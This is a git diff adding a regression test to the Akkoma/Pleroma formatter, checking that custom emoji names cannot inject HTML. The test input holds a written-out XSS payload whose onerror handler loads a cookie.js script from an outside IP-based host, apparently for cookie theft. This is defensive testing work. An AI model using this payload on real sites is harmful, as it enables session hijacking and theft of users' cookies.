X-Git-Url: http://git.squeep.com/?a=blobdiff_plain;f=test%2Fformatter_test.exs;h=273eefb8a773aef4246e86f95b41717fa5d68163;hb=c0e067c74e46c98657cb0e403debcbcb0a362df8;hp=4e27efe0685a58f015f1a77125a0496945944ce5;hpb=a9c0f395cb4d854e552a3205cb5b38ff610f8e27;p=akkoma
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 4e27efe06..273eefb8a 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -189,11 +189,26 @@ defmodule Pleroma.FormatterTest do
text = "I love :moominmamma:"
expected_result =
- "I love
"
+ "I love
"
assert Formatter.emojify(text) == expected_result
end
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love
"
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
+
test "it returns the emoji used in the text" do
text = "I love :moominmamma:"